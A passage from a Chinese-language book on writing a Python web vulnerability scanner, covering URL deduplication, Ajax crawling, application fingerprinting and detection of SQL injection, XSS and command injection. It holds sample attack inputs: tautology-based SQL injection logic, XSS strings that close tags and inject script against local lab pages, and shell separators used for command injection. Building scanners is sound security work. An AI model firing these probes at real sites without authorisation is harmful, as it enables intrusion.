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这时候就可以根据FORM表单中的字段进行自动填表，运行结果如下：
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3.5 URL去重去似

3.5.1 URL去重

根据前面所讲的内容，URL去重主要有两种实现方式：一种是布隆过滤器去重；另一种是Hash表去重。


1.布隆过滤器去重


这里有两个实现布隆算法的Python模块，可以直接使用它们进行URL去重，如下：

Python-bloomfilter

Github地址为https：//github.com/jaybaird/Python-bloomfilter。

Pybloomfiltermmap

Github地址为https：//github.com/axiak/pybloomfiltermmap。

官方文档为https：//axiak.github.io/pybloomfiltermmap/。

这里我们用 Pybloomfilter 模块进行介绍，它是一个用 Java 实现的布隆过滤器版本。为了兼顾效率，内部位数组使用C实现。其安装方法非常简单，直接部署项目源码进行安装即可，具体步骤如下：

（1）下载项目源码
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（2）运行以下命令进行安装
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当然，也可以直接利用pip进行安装：
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成功安装后如下：
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在Pybloomfiltermmap模块中，实现了两类布隆过滤器：Bloomfilter和ScalableBloomfilter。其中，Bloomfilter 是一个定容的过滤器，error_rate 是指最大的误报率；ScalableBloomfilter 是一个不定容量的布隆过滤器，它可以不断添加元素。方法add是添加元素，如果元素已经在布隆过滤器中，那么返回 True；如果不在，那么返回 False，并将该元素添加到过滤器中。判断一个元素是否在过滤器中，只需要使用in运算即可。

利用布隆过滤器去重，代码实现非常简单。这里用Pybloomfiltermmap模块来举例说明。

首先，创建一个布隆过滤器对象。

然后，将URL添加到布隆过滤器中，通过过滤器的add方法可以判断新的URL是否在布隆过滤器中，并进行URL去重操作。

具体实现代码如下：
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执行后的结果如下图：
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2
 .Hash表去重


还可以用Hash表去重，其原理非常简单，通过遍历原URL列表，判断每一个URL是否在去重后的列表中，如果不在列表中，那么需添加到去重后的列表中；如果在列表中，那么直接忽略即可，具体方法如下。


方法一：利用内存Hash表去重
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在实际的爬行中，URL的长度其实并不固定，而且随着爬行深度的增加，单个URL的长度会越来越长。如果此时仍然使用URL作为Key值进行去重，显然不太合理，这样内存和性能都会损耗过快。此时可以对URL进行Hash运算压缩，比如：16位的md5运算。这样就可以把URL的长度固定为16字节，从而提高去重的效率，如下：
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执行后的结果如下：
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方法二：利用BerkeleyDB去重


首先，从 Oracle 官网（http：//www.oracle.com/technetwork/cn/database/database-technologies/berkeleydb/downloads/index.html）下载Berkeley DB的源码。

然后，对其进行编译安装。

最后，还需要安装Python的bsddb3模块。它提供了BerkeleyDB数据库的操作接口，这样就可以在Python中使用该数据库了，具体步骤如下。

（1）安装BerkeleyDB

执行命令如下：
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成功安装后如下图：
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（2）安装bsddb3

执行命令如下：
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下面就可以利用它进行去重，部分实现代码如下：
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执行后的结果如下图：
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3.5.2 URL去似去含

本书的前面章节已经给出了URL相似和URL包含的定义，这里我们按照定义的描述来实现去似和去含。假如有两个URL，当它们满足下面的条件：

协议（protocol）相同

主机名（host）相同

端口（port）相同

资源路径（path）相同

参数名所组成的列表相同或包含

则称它们为URL相似或包含，部分功能代码实现如下：

[image: ]



小结：


我们可以根据不同的扫描场景选择合适的去重方案，由于笔者的设计初衷主要是针对中小型网站进行安全扫描，它们的 URL 量级还远远达不到使用硬盘去重，所以我们直接在内存中进行 URL 去重就可以了。但主机的内存资源是有限的，因此在实际的爬取过程中，为了保证爬虫的健壮性，需要控制一下队列中URL的上限数量，避免造成内存溢出。而且在针对中小型网站提供扫描服务的同时，我们发现目标 URL 的数量上限差不多在 1万个。其实当数据样本量较小的时候，布隆过滤器去重与 Hash 表去重在性能上的差距并不大，由于布隆过滤器存在一定的误判率，因此在这种情况下，我们选择准确度更高的Hash表去重方式最为合适。
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下面来看看实际的去似和去含效果，对比下面几组数据的结果，测试代码如下：
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执行效果如图：
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3.6 实现404页面识别

在第2章中，我们曾提到过，404页面识别并不能简单地靠状态码信息，首先需要建立404页面知识库，然后从状态码和页面内容两个维度进行准确识别，这样就可以极大地提高404页面识别的准确度。

我们可以通过随机构造一些明显不存在的网站来触发目标的 404 页面，比如：tscanner_404_nofound.html、no_exists_for_test.html等。在实际的文件名构造中，可以加入随机因子，避免重名问题，然后将这些页面的特征进行提取和存储，建立对应的404页面知识库，下图是一个404页面：
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可以通过状态码，以及与现有的404页面知识库进行404页面识别。具体的识别逻辑为：如果当前页面的状态码为404，那么它为404页面；如果当前页面的状态码不是404，那么将该页面与404页面知识库中的页面进行内容相似度比较，如果相识度高于阈值，那么判定当前页面为404页面。部分核心代码实现如下：

[image: ]


[image: ]


我们可以看一下404页面识别的结果，如下图：
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3.7 实现断连重试

在使用Requests模块进行网络通信时，如果网络连接不可用或断开，那么该模块会抛出相应的异常，我们可以通过捕获异常来实现断连重试的功能。为了对爬虫程序的结构影响最小，这里可以利用 Python 中的装饰器来实现断连重试，其实装饰器也是一个函数，并且是一个用来包装函数的函数，它返回一个修改之后的函数对象，然后将其重新赋值给原来的标识符，并永久丧失对原始函数对象的访问。具体的实现代码如下：
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这样就为HTTP请求发送增加了断连重试的功能，当网络连接失败时，它会每隔一秒重新进行连接；当重试的次数大于4次，才会抛出异常，停止重试。实际的运行效果如下图：
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3.8 实现Web爬虫

至此，爬虫的基础功能都已实现了，下面就根据爬虫的结构，将这些功能进行整合，实现最终版本的Web爬虫，这里用Crawler类对Web爬虫进行封装实现，部分实现代码和结构如下：Crawler类
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这样我们自己的爬虫就打造完成了，利用该爬虫对安全宝的官网进行爬取，具体的效果如下图：
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小结：


至此，一个简单功能的爬虫就已经完成了，现在可以利用它来爬取目标的URL。当然在实际的爬行中，爬虫需要处理的细节远不止这些，后续可以根据具体的爬行问题或困难，有针对性地不断对它进行优化和改进。

3.9 实现Web 2.0爬虫

在Web 1.0时代，网站主要是基于静态页面来构建的，以单向内容输出为主。到了Web 2.0时代，随着动态脚本的兴起和 Ajax 技术的发展（Ajax 全称为“Asynchronous Javascript And XML”，异步JavaScript和XML，它是一种创建交互式应用的网页开发技术），
 Web站点的架构和交互场景也发生了变化，网站中融入了更多的动态交互和事件触发，这也给传统的Web爬虫提出了新的挑战，因为通过正则匹配的爬取方式显然已经力不从心，它们无法爬取到Web 2.0中的异步请求和事件请求。

在传统Web爬虫的视角里，每一个URL代表了站点中的一个页面，新页面的URL是可以很容易地通过正则匹配爬取的。但在 Ajax 应用中，这种情况则发生了改变，一个页面中会有不同的状态，每个状态代表着不同的页面，因此这些状态也需要被爬取到。由于状态之间的跳转是通过交互的方式进行触发的，而传统爬虫并不具备交互的能力，所以它无法进行感知和爬取。

为了弥补传统爬虫的不足和解决Ajax技术所带来的爬取难题，Web 2.0爬虫的概念也就自然被提出来了。

在了解Web 2.0爬虫产生的背景后，我们还需要清楚Ajax的工作方式和特点，其实Ajax不是一种新的编程语前，而是一种用于创建更好、更快，以及交互性更强的 Web 应用程序的技术。它使用 JavaScript 向服务器提出请求，并处理响应而不阻塞用户，核心对象为XMLHTTPRequest。通过这个对象，JavaScript 可在不重载页面的情况下与Web服务器交换数据，工作原理如下：
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通俗来讲，Ajax就是一种异步通信请求方式，它允许页面内容可以动态地触发和加载，所以我们在浏览器中看到的页面其实是不完整的，它只能算是完整页面中的一个状态，只有遍历当前页面中所有的状态后，才能完整地获取当前页面中所有的URL。

从上面的内容可以得出：与传统爬虫相比，Web 2.0爬虫的核心在于页面事件的触发和页面状态的保持，但要想满足这两个条件，则需要解决以下5个主要问题：

执行JavaScript代码

由于Ajax应用的功能实现依赖于JavaScript代码在Web客户端的执行，因此Ajax爬虫必须能够执行JavaScript代码，所以需要添加一个JavaScript脚本解释器。

页面DOM树操作

对页面内容进行DOM树解析，可以对标签进行动态的操作。

页面事件触发

由于一些标签包含事件属性，需要对这些事件触发完成交互，才能获取新的页面。

页面状态保持

传统的Web站点中每一个URL标志着一个静态页面，而在Ajax应用中，一个页面有很多状态的变化，每当触发一个事件，都会导致页面发生变化，所以Web 2.0爬虫需要记目这些页面状态，以便对变化的页面进行URL提取。

重复事件识别

Ajax应用中某些事件可能由同一个JavaScript函数来处理，触发这些事件可能导致相同状态，而这些重复的事件触发会给服务器带来不必要的负载，所以当同一页面在进行状态变化时，需要记目和识别这些重复事件，避免重复触发和爬取。

说了那么多枯燥的理论，下面我们就来看一下如何实现 Ajax 爬虫。为了降低技术难度，可以使用浏览器引擎来实现，也许会有读者问，为什么不直接使用JavaScript引擎来处理呢？主要是因为单纯的JavaScript引擎虽然可以执行JS代码，但它无法与DOM树关联起来，也无法有效地对DOM树进行操作。而在浏览器引擎的环境下，JavaScript引擎与DOM树有上下文环境，JS代码可以直接对DOM树进行操作，所以它可以很好地解决“执行JavaScript代码”和“页面DOM树操作”这两个难题，让我们可以更加专注于解决Ajax爬虫的核心问题。

下面来了解一下页面状态深度。页面状态深度就是对当前页面进行事件触发时，页面新产生的内容中仍然存在需要触发的事件，我们把每次的事件触发称之为一个深度。

下面是AWVS（Acunetix Web Vulnerability Scanner）提供的Web 2.0测试页面，由于它具有代表性，所以这里用它进行说明。我们来看一下，当单击其中一个链接时，“artists”前后的变化。

单击链接前的页面，如下图：
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单击链接后的页面，如下图：
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可以看到，单击后页面在id为contentDiv的层中新增了内容，而这些新增的内容同样需要进行事件触发才能获取后续的URL，每一次事件的触发称之为一个深度，当前这个测试页面的状态深度为2，也就是说，它需要两次事件触发才能完整地获取页面的所有URL。

下面我们先来梳理一下Web 2.0爬虫的工作流程，这里用伪代码来说明，并将页面的状态深度设置为2，实现伪代码如下：
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有了上面的伪代码后，现在开始进行具体的实现，这里仍然以AWVS提供的Ajax测试站点（http：//testphp.vulnweb.com/Ajax/index.php）为目标。

首先通过Python的Ghost模块引入浏览器引擎，并利用Ghost对象的Open函数打开目标站点，通过下面三行代码即可实现，如下：
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运行效果如下图：
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其实Ghost模块是对WebKit浏览器引擎的封装，在页面载入的过程中，它实际上已经完成了DOM树解析、JS解析，以及CSS渲染等一系列工作，这样我们才能看到上图中网页的页面。但是在这里，我们更关心的是HTTP请求。通过查阅PyQt和Ghost的官方文档，我们知道，res对象中存储的内容就是当前页面所发起的网络请求信息，这时可以将当前请求的URL打印出来，如下：
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这样每个页面不需要事件触发，主动发起的异步请求信息就可以通过res对象来获取，通过其属性值即可获取对应的URL。接下来看一下如何获取需要交互的URL。

我们先看一下测试站点的网页源代码，页面中存在哪些需要交互的事件，如下：
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从上面方框中的内容可以看到，事件交互的操作主要体现在a标签中。当单击a标签后，它就会触发对应的JavaScript函数执行，当函数执行后，页面的内容就会发生变化，这时就可以获取新的URL。因此，在这里可以通过模拟单击对应的a标签，然后通过res对象获取异步请求的URL信息，并通过更新后的页面内容获取新的事件交互链接，如下：

[image: ]


这样就可以完整地获取单击后发送的异步请求和页面更新后的新页面内容，从而成功地完成一次交互爬取。有了这个成功的经验，接下来就进一步考虑如何对页面进行完整的动态爬取。测试页面中有很多的链接，而且每次单击后页面的内容都会发生变化，显然它并不像单次爬取那么容易，下面就一起来整理一下完整的爬行思路，如下：

（1）在当前页面H0中，遍历所有的a标签对象，对其进行循环事件触发（如：鼠标单击）。

（2）事件触发后，获取浏览器对外新发送的HTTP请求，并记目对应的URL。同时获取当前的页面内容，记为H1，并利用正则匹配出页面的URL。

（3）在第一次单击后形成的页面H1中，再次遍历新的a标签，对其进行循环事件触发。

（4）第二次事件触发后，同样获取浏览器对外新发送的HTTP请求，并记目URL列表。获取当前的页面内容，记为H1，并利用正则匹配出页面的URL。

但这里是有问题的，细心的读者也许会发现，当我们在第二次遍历新的a标签时，由于无法提前知道a标签的其他唯一属性，如：id、name等，所以只能通过getElementsByTag方法获取存放a标签对象的数组，并通过数组的下标来唯一标识，伪代码如下：
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而每次进行事件触发后，页面的内容是会发生变化的，这时页面中就会有新的a标签产生，它会导致使用 getElementsByTag（＂a＂）的方式所获取到的 a 标签数组不一样，因此，不能使用getElementsByTag（＂a＂）[i]来唯一标识特定的a标签对象。

那么，如何进行改进呢？

这里主要是由于页面内容更新后无法对a标签进行唯一标识导致的，因此，可以为每个页面的a标签增加一个唯一标识的属性。当页面发生变化时，就可以通过对新页面的a标签与变化前页面的a标签进行比较，计算得出新增的a标签，然后再单独对新增的a标签进行遍历操作，这样就不会使a标签数组紊乱了。可以使用a标签的href和onclick两个属性值来构造Hash作为唯一的标识。

我们需要在页面解析的代码中，增加对a标签的处理，为其增加唯一的识别标识，如下：
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增加唯一标识后，再来看看核心部分的完整代码，如下：
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下面还需要扩展单击事件触发的操作，可以在Ghost的客户端脚本工具文件utils.js中增加下列代码：

[image: ]


下面再来看看实际运行后的效果，爬虫程序会模拟人的访问方式，依次触发页面中的所有事件，右侧浏览器窗口中的页面也会在每一次单击后发生变化，如下图：
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最终页面上所有的URL都被爬取出来了，如下图：
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小结：


这里笔者主要是以a标签的鼠标单击事件进行讲解的，读者可以私下实现其他标签的事件触发。其实Web 2.0爬虫并没有标准和通用的爬取模式，它的爬行策略和规则需要随着页面的不同而变化，因此这里主要以AWVS的Ajax爬行页面来讲解，主要目的是希望读者可以掌握其中的方法，这样就可以根据不同的页面形式，编写针对性较强或场景覆盖面较广的Web 2.0爬虫了。


第4章 应用指纹识别

应用指纹，其实是Web应用的一种身份标识，具有唯一性。在Web应用的开发过程中，为了提高开发的效率和系统的稳定性，通常会用到一些成熟、稳定的第三方环境、程序、框架或服务等，而这些第三方内容的名称或标识就是这里所说的应用指纹。

4.1 应用指纹种类及识别

对于一个简单的Web应用而前，它所涉及的应用指纹信息非常多，这里为了便于理解和记忆，我们根据网络数据的流向，并结合分层思想，将常见的应用指纹分成了5类，如下：

网络层指纹

网关、防火墙、VPN、CDN、DNS、路由器等基础设施指纹。

主机层指纹

操作系统信息、软件防火墙、主机上各种对外提供服务的软件指纹。

服务层指纹

Web服务、FTP服务、SSH服务等各种对外提供服务的指纹。

应用层指纹

各种建站程序、开源框架、前端框架等。

语前层指纹

各种脚本语前信息，如：ASP、ASPX、PHP和JSP等。

应用指纹识别是通过对目标进行分析和判断，知道它是由哪些应用指纹组成的。举个例子，如果对安全宝的官网www.anquanbao.com进行应用指纹识别，那么就能获取如下基础信息：
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在应用指纹识别中，通常需要建立一个Web应用的指纹库，指纹库中记目着应用指纹信息和指纹特征的对应关系。在实际的指纹识别中，通过分析目标是否存在特定的指纹特征，就能够知道目标是否使用了这种应用。

4.2 应用指纹识别的价值

下面是应用指纹识别的价值。


1.快速检测目标的漏洞


每一种应用都有自己的标识特征，通过对标识特征的探测，就能够推断出目标是否使用了该应用，而这对漏洞检测是很有帮助的。每一种应用都会存在漏洞，因此当对目标进行应用指纹识别后，根据应用的漏洞知识库，就可以对目标进行针对性的应用漏洞检测，这样就能快速地找到目标的漏洞。


2.极大丰富攻击的路径


在对目标进行渗透攻击时，每一个应用指纹都可以看作是一个新的攻击入口。如果对目标的指纹识别越多，那么就越有可能从某个侧面完成攻击。它可以极大丰富攻击的路径。

从上面两个角度可以看出，应用指纹识别不仅可以快速检测目标是否存在漏洞，还可以对信息收集的内容进行补充，增加渗透测试的攻击路径，提高扫描器的安全渗透能力。下面我们就一起学习和了解相关的识别技术。

4.3 应用指纹识别技术

既然应用指纹的价值如此之大，那么如何去识别和获取呢？首先需要获取指纹的特征，通常这些指纹特征会存在于特定页面的HTTP响应中，因此可以通过下面三种方式来处理：

内容特征

这类指纹的特征在 HTTP 响应的正文中，通过对响应正文中的内容进行特征匹配即可识别。

页面特征

这类指纹在HTTP请求中并没有明显的特征，而页面的内容却相对固定，因此可以根据页面内容的Hash值进行识别。

Headers特征

这类指纹会在HTTP响应的消息报头中增加自己的报头信息，因此可以直接在消息报头中进行识别。

下面分别讲解三个应用指纹识别案例。


1.LNMP识别


LNMP 一键安装包是一个用 Linux Shell 编写的可以为 CentOS/RadHat/Fedora、Debian/Ubuntu/Raspbian VPS（VDS）或独立主机安装 LNMP（Nginx/MySQL/PHP）、LNMPA （Nginx/MySQL/PHP/Apache）、LAMP（Apache/MySQL/PHP）生产环境的 Shell 程序。同时提供一些实用的辅助工具，如：虚拟主机管理、FTP 用户管理、Nginx、MySQL/MariaDB、PHP的升级、常用缓存组件的安装、重置MySQL root密码、502自动重启、日志切割、SSH防护DenyHosts/Fail2Ban、备份等许多实用脚本。

LNMP是一个自动环境部署工具，当默认安装时，在www目目下会有一个PHP探针文件（p.php），通过对探针文件的内容特征进行匹配，就可以识别当前的环境是否是使用 LNMP 进行构建的。通过查看源代码，选择红色方框内的内容作为特征进行识别即可。这里需要注意，特征的选取最好以纯英文字符为主，因为一旦有的页面编码设置错误，就会导致中文的识别出错。如下图：
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2.ThinkPHP识别


ThinkPHP是一个快速、兼容、简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想、TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。

如果 Web 应用是基于 ThinkPHP 框架进行构建的，那么将控制器名字设置为：4e5e5d7364f443e28fbf0d3ae744a59a，就会显示 ThinkPHP 的 Logo，可以根据 Headers 中的Content-type进行识别。同时，由于该文件是官方默认的Logo文件，相对固定，因此在这里用页面特征进行识别，即 Logo 文件的 md5 哈希值，原始文件的 md5 值为：a33d202b17b9b1a50e5ac54af6eff74e，如下页第一张图。


3.Nginx识别


Nginx（“engine x”）是一款轻量级、高性能的 Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev开发，供俄国大型的入口网站及搜索引擎Rambler使用。其特点是，占有内存少、稳定性高、功能多、并发能力强。
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如果Web应用是运行在未经修改的Nginx代理服务器之上，那么当访问目标站点时，HTTP响应头中的Server字段就会有对应的标识特征：nginx，根据这个特征就可以识别该指纹信息，如下图：
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下面讲一下应用指纹识别的实现，主要分为两部分：一部分是指纹特征库，它主要记目当前所能识别的所有应用指纹；另一部分是对目标进行指纹识别的功能实现。


1.指纹特征库


这里简单地把指纹特征库按照文件形式进行存储，部分特征内容如下：
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2.功能实现


应用指纹识别主要有三种常见的方式，因此，在代码实现中，需要对这三部分内容进行关键特征匹配识别，部分核心代码如下：
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这样就可以用它对目标进行指纹识别和验证了，具体的执行效果如下：
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第5章 安全漏洞审计

安全漏洞审计，作为扫描器的核心功能，会告诉扫描器如何去检测和审计漏洞。它可以看作扫描器的大脑，通过对每一种漏洞进行场景化学习，从中提取漏洞的扫描特征，将其存储到扫描知识库中，这样扫描器就能具备该种漏洞的检测能力了。而漏洞特征的提取也就是这里所说的安全漏洞审计。在扫描器的实践中，这部分显然是最重要的，不过也是有规律可循的。

5.1 安全漏洞审计三部曲

对于任何一种漏洞的检测或审计，都会遵循下面的流程：

（1）需要分析现实中这个漏洞的各种场景。

（2）构造出可以覆盖所有漏洞场景的扫描载荷（payload）。

（3）将其转化成扫描器的检测脚本并生成最终的扫描签名。
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扫描器通过这种方式不断地学习新的漏洞和丰富扫描知识库，它就能具备最新漏洞的检测能力，并能持续保持较高的扫描检出率。

下面按照这个思路来学习安全漏洞审计这一章的内容，安全漏洞可以分为两类：通用型漏洞和Nday/0day漏洞。

通用型漏洞

具有普遍性，大部分应用都会涉及如 SQL 注入漏洞、XSS 跨站漏洞、命令执行注入或文件包含漏洞等。它们主要是针对HTTP请求中的输入部分进行测试的，通过改变这些输入值就可以对漏洞进行测试和判定。

Nday/0day漏洞

具有针对型，通常是指某一类具体应用，比如：建站应用Discuz的SQL注入漏洞、IIS的远程溢出漏洞或OpenSSL的心脏出血漏洞等。

区别：

Nday 漏洞是指厂商已经发布补丁的漏洞，而 0day（零日）漏洞，是指厂商未发布修复补丁的漏洞。

5.2 通用型漏洞审计

通用型漏洞具有普遍性，适用于大部分的应用，我们将其称为通用型漏洞审计。下面进行详细介绍。

5.2.1 SQL注入漏洞

所谓 SQL 注入漏洞，就是程序对用户的输入没有进行过滤，直接将其拼接到数据库语句中所致。攻击者可以通过提交恶意构造的数据，从而改变原有 SQL 语句执行的逻辑，并执行额外的数据库操作，最终产生非预期的攻击结果。

下面举一个典型的SQL注入漏洞例子。
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变量id的值是由用户输入的，在正常的情况下，当输入参数时，如果输入的内容：id=3，那么执行的SQL语句为：
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这时程序会把数据库user表中id等于3的那条记目取出来，如下：
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可当我们输入经过恶意构造的参数时，执行的结果却完全不一样，如果输入的内容：id=3 or 1=1，那么执行的SQL语句为：
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这时程序会把数据库content表中所有的记目都读取出来，如下：

[image: ]


从上面这个例子可以发现，经过构造的输入内容其实已经改变了原有 SQL 语句的逻辑，原有SQL语句的逻辑为
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而提交恶意数据后，SQL语句的逻辑则变成了
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在语句2中，引入了逻辑运算，而且其中一个条件为恒真，因而执行后产生了非预期的结果，并最终将管理员的账号和密码显示出来。

SQL注入漏洞的原理清楚了，那么如何构造对应的扫描载荷（payload）进行检测呢？在这之前，首先需要明确一下漏洞的类型、成因，以及对应的场景。因为不同的漏洞场景，扫描载荷的构造形式也会不同，所以这就需要根据不同的漏洞场景来区别对待。常用的 SQL 语句有下面四种类型：
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当然，每种类型的SQL语句都会存在SQL注入的问题，因此我们需要根据SQL语句的类型、输入点的位置和服务端的响应综合考虑如何构造扫描载荷。

笔者这里就以常见的Select类型注入进行介绍，并且其输入点位置在where之后。这种情况有下面三种类型。


1.数字型


数字型SQL注入的场景，如下：
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它是将变量$id直接拼接代入SQL语句中，变量$id两边没有额外的字符需要闭合，因此可以通过逻辑运算符“and”直接构造恒真状态和恒假状态的语句。

恒真状态
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恒假状态
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2.字符型


字符型SQL注入的场景有两种情况：一种是单引号；另一种是双引号。

（1）单引号

[image: ]


变量$id 的内容是在单引号内，我们需要对其进行闭合，才能改变原有逻辑，执行额外的数据库操作，构造的信息如下：

恒真状态
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恒假状态
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（2）双引号
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变量$id的内容是在双引号内，这时构造的信息如下：

恒真状态
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恒假状态
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3.搜索型


搜索型SQL注入的场景也有两种情况：一种是单引号；另一种是双引号。

（1）单引号
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这时构造的信息如下：

恒真状态
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恒假状态
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（2）双引号
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这时构造的信息如下：

恒真状态
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恒假状态
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提示：


SQL注入的场景还有很多，远不止上面所提到的，但有一点需要明确，就是漏洞的场景化。这个很重要，场景覆盖得越多，检测能力就越强。而且通过对漏洞场景的分析，一方面，可以让我们更加直观地了解漏洞的原理及产生的原因；另一方面，还可以指导我们有方向性地去完善扫描能力。其他类型的 SQL 语句注入，在这里笔者就不再赘述了，感兴趣的读者可以根据本节的思路和方法举一反三。

在实际的SQL注入场景中，虽然可以执行SQL语句，但是却存在一个问题，由于无法知道代码的运行细节和结果的输出部分，所以并不能将额外执行的 SQL 语句所产生的结果按照预期反映到最终的输出内容中，也就是说，并没有办法显性地在“HTTP请求/响应”中找到关键的特征，但可以利用 SQL 语句来构造两种不同的状态，通过对比这两种状态的差异进行漏洞判定。这里主要介绍两种常用的SQL注入检测方法：页面比较法和时间比较法。


1.页面比较法


这种方法比较直观，也易于理解，而且准确度较高。我们可以利用 SQL 语句来构造恒真和恒假两种不同状态，如果目标存在 SQL 注入漏洞，那么恒真状态对页面内容的影响并不会产生较大的改变；而恒假状态则会明显地改变页面的内容，通过页面相似度算法比较这两个页面的相似程度，就可以判定目标是否存在SQL注入漏洞。


2.时间比较法


时间比较法主要是利用时间延迟技术进行漏洞的判定，虽然Web服务器可以隐藏错误或数据，但是必定会返回HTTP响应信息，因此可以向数据库中注入时间延迟函数。如果目标存在SQL注入漏洞，那么时间延迟函数就会被执行，服务端的响应时间就会延长，通过与正常服务端的响应时间比较，可以判定目标是否存在漏洞。

现在我们可以对 SQL 注入漏洞的场景进行整理，并给出最终的扫描载荷，扫描器利用它们可以对目标进行SQL注入检测，如下：
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续表
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下面是具体的代码实现。这里用准确率较高的页面比较法，主要实现对GET请求中的参数进行SQL注入漏洞检测，POST请求中的参数同样可以参照该原理，这里就不过多占用篇幅了，部分的核心检测代码如下：
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下面对SQL注入检测功能进行验证，如下：
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具体执行效果如下：
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5.2.2 XSS跨站漏洞

所谓 XSS 跨站漏洞，就是程序对用户输入的数据没有进行相应的过滤，直接将其输出到浏览器所致。攻击者利用该漏洞，可以向Web页面注入恶意的脚本代码并使其执行，从而达到恶意攻击用户的目的。XSS跨站有三种类型：反射型、存储型和DOM型。


1.反射型XSS


反射性XSS，其最明显的特征就是恶意数据通常会在链接里，需要受害者的参与。攻击者会将篡改后的链接发送给用户，当用户访问该链接时，被注入的恶意脚本就会被浏览器执行，从而达到攻击目的。


2.存储型XSS


存储型XSS，又称持久性XSS，攻击者会把恶意数据注入服务端并存储起来，这样只要受害者访问目标，服务端就会执行恶意数据产生攻击，攻击行为会一直伴随着攻击数据存在。


3.DOM型XSS


DOM型XSS，是基于文档对象模型的一种XSS漏洞，客户端的脚本程序可以通过DOM动态地操作和修改页面内容。它不依赖于提交数据到服务端，但如果从客户端获取DOM中的数据没有进行过滤，那么攻击者就可以注入恶意代码，并在浏览器端执行，产生DOM型XSS。

下面分别介绍这三种类型的XSS跨站漏洞场景。


1.反射型XSS漏洞场景


场景1 将前端获取的内容，直接输出到浏览器页面。

后端代码：
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直接访问http：//localhost/book/xss/1_xss.php？data=anquanbao，如下：
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这时代码对输出的内容是没有任何过滤的，直接构造标签语句即可实现HTML指令注入。

前端输入：
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访问链接http：//localhost/book/xss/1_xss.php？data=test<script>alert（1）；</script>。

测试效果如下：
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场景2 将前端获取的内容，直接输出到HTML标签内。

后端代码：
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遇到这种情况，我们要想执行自己的标签代码，首先需要闭合当前的语句，这样才可以直接向页面注入代码，因此可以构造如下的语句。

前端输入：
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访问链接http：//localhost/book/xss/2_xss.php？datadata=test＂><script>alert（/anquanbao/）；</script>。

测试效果如下：
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场景3 将前端获取的内容，直接输出到<script></script>标签内。

后端代码：
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对于这种情况，我们可以直接闭合前面的单引号，然后用分号“；”来加载payload，最后用注释符注释后面的内容即可。因此可以构造如下的语句。

前端输入：
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访问链接h
 ttp：//localhost/book/xss/3_xss.php？data=test'；</script><script>alert（/anquanbao/）</script>//。

测试效果如下：
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2.存储型XSS漏洞场景


存储型XSS与反射型XSS的差异主要在于恶意数据是否会存储在服务端。对于前端的检测场景基本没有太大的区别，但在真实的环境中，存储型XSS的场景会有一些额外的特殊情况。

场景4 提交数据后，页面跳转到新的页面，此时新的页面即为内容的输出页面，而且它与数据提交页面为同一页面，如下图。
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前端输入：
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场景5 提交数据后，页面跳转到新的页面，此时新的页面为内容的输出页面，但新的页面与数据提交页面为不同页面，如下图。
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前端输入：
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数据提交页面：http：//localhost/book/stored-xss/2_xss.php。

内容输出页面：http：//localhost/book/stored-xss/2_xss_index.php。


3.DOM型XSS漏洞场景


场景6 利用document对象的相关属性来获取前端的输入内容，然后传到eval函数中执行。

页面代码：
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前端输入：
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测试效果如下：
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DOM型XSS漏洞常见的输入输出点如下表。
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提示：


现在主流浏览器都已经增加了对XSS攻击的防护，也就是我们常说的XSS Filter（XSS过滤器），如Chrome通过内置过滤器XSS-Auditor进行过滤，Firefox通过NoScript扩展支持该功能等。所以对于一些常用的 payload，浏览器都会有相应的干扰策略，它们会阻碍正常的检测与识别。因此，在真实的扫描中，通常需要绕过后才能进行有效的检测。

下面分别介绍这三种类型的XSS跨站漏洞检测原理。


1.反射型XSS检测原理


从上面的漏洞场景来看，反射型 XSS 漏洞具有明显的输入/输出特点，而且数据提交的页面和数据输出的页面是同一个，因此可以通过构造扫描载荷（payload）进行提交，然后检查输出的内容就可以判定目标是否存在反射型XSS漏洞。


2.存储型XSS检测原理


存储型XSS与反射型XSS的场景基本相同，只不过存储型会向服务端插入数据，如果用户数据提交的页面与输入内容的展示页面相同，那么可以通过对输出内容进行检测来判定；如果用户数据提交的页面与输入内容的展示页面不同，这种情况就需要先找到输入内容的展示页面，并在该页面中进行检测和判定。


3.DOM型XSS检测原理


与前面两种XSS漏洞类型不同，DOM型XSS是在浏览器的解析中，改变当前页面的DOM树，对于这种交互操作较多的单页面，可以借助浏览器引擎进行检测，但如果每一个页面都增加这些交互操作，那么就会严重影响扫描器效率，所以这里暂不实现该类型。

下面对漏洞场景中的漏洞检测方法进行整理和覆盖，并给出最终的扫描载荷列表。在实际的测试过程中，我们发现<script>标签经常会被一些防护设备作为特征过滤，从而产生干扰，因此在实践中我们用<a>标签作为特征进行检测。
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最终的扫描载荷可以定义为下列形式：
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具体的内容如下：
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因此，通过这个扫描载荷就可以覆盖上面描述的所有场景。

下面是具体的代码实现。由于其他类型的 XSS 并不容易在扫描器中进行通用的检测，所以这里主要选择反射型 XSS 来实现。根据上述的检测原理，并结合最终的扫描载荷，具体的代码实现如下：
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下面对XSS跨站漏洞的场景进行验证，具体执行效果如下：
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5.2.3 命令执行注入

通常情况下，如果Web应用程序需要执行系统命令，那么开发人员会将客户端获取的数据直接传递给具有执行系统命令功能的函数中，如：system、exec、shell_exec等。如果没有对客户端的数据进行过滤就产生命令执行注入漏洞，那么攻击者可以通过命令注入来执行额外的命令，从而达到攻击的效果。

下面是命令执行注入的漏洞场景。

场景1 将前端获取的变量直接与命令语句进行拼接，然后代入命令执行函数中，这里以Linux操作系统为例说明。

后端代码：
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从上面的代码中可以看到，由于变量位于语句的最后面，因此可以利用Linux中的一些特殊符号完成命令的注入。在构造扫描载荷（payload）之前，先来看看这些特殊符号的作用，如下：

管道符号（|）

它的符号为一条竖线“|”，可以连接多个命令，它会把第一个命令command 1执行的结果作为第二个命令command 2的输入传给command 2并执行。

连接符号（；）

它的符号为一个分号“；”，可以连接多个命令，它会依次顺序地执行这些命令。

逻辑与符号（&&）

它的符号为两个与符号“&&”，可以连接多个命令，只有第一个命令执行成功，才会执行第二个命令。

逻辑或符号（||）

它的符号为两条竖线“||”，可以连接多个命令，只有第一个命令执行失败，才会执行第二个命令；否则不会执行第二个命令。

上面所介绍的符号都可以用来连接多个命令，根据每个符号的特点，可构造对应的扫描载荷（payload）。

前端输入：
